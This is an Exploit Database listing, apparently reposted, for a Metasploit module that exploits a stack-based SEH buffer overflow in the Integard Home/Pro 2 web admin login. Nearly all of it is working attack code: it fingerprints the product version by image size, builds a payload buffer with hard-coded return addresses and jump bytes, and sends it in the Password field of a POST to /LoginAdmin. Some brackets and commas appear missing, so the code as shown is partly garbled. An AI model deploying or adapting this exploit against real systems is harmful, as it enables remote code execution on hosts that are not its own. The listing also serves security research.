Integard Home and Pro 2 – Remote HTTP Buffer Overflow

Exploit Database
146 阅读

作者： Lincoln, Nullthreat, rick2600

日期： 2010-09-07
类别：
- remote
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/14941/

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class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Integard Home/Pro version 2.0',

'Description'=> %q{

Exploit for Integard HTTP Server, vulnerability discovered by Lincoln

'Author'=>

[

'Lincoln',

'Nullthreat',

'rick2600',

'corelanc0d3r'

'License' => MSF_LICENSE,

'Version' => '$Revision: $',

'References'=>

[

['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 2000,

'BadChars'=> "\x00\x20\x26\x2f\x3d\x3f\x5c",

'StackAdjustment' => -1500,

'Platform' => 'win',

'Privileged' => false,

'Targets'=>

[

[ 'Automatic Targeting',{ 'auto' => true }],

[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}],

[ 'Integard Pro2.2.0.9026', { 'Ret' => 0x0040362C,}],

'DefaultTarget'=> 0))

register_options(

[

Opt::RPORT(18881)

], self.class )

end

def exploit

mytarget = target

continueattack=true

if(target['auto'])

mytarget = nil

print_status("[*] Automatically detecting the target...")

connect

response = send_request_raw(

{'uri' => '/banner.jpg',

'version' => '1.1',

'method' => 'GET'

}, 5)

contlength = response['Content-Length']

if (contlength == "24584")

print_status("[!] Found Version - Integard Home")

mytarget = self.targets[1]

elsif (contlength == "23196")

print_status("[!] Found Version - Integard Pro")

mytarget = self.targets[2]

else

print_status("[-] Unknown Version")

continueattack=false

end

disconnect

end

if continueattack

print_status("[!] Selected Target: #{mytarget.name}")

print_status("[*] Building Buffer")

pay = payload.encoded

junk = rand_text_alpha_upper(3091 - pay.length)

jmp = "\xE9\x2B\xF8\xFF\xFF"

nseh = "\xEB\xF9\x90\x90"

seh = [mytarget.ret].pack('V')

buffer = junk + pay + jmp + nseh + seh

print_status("[*] Sending Request")

post_data = "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"

req = "/LoginAdmin"

connect

send_request_raw({

'uri' => req,

'version' => '1.1',

'method' => 'POST',

'headers' =>

{

'Host' => '192.168.1.1:18881',

'Content-Length' => 1074

'data' => post_data

}, 5)

print_status("[*] Request Sent")

handler

end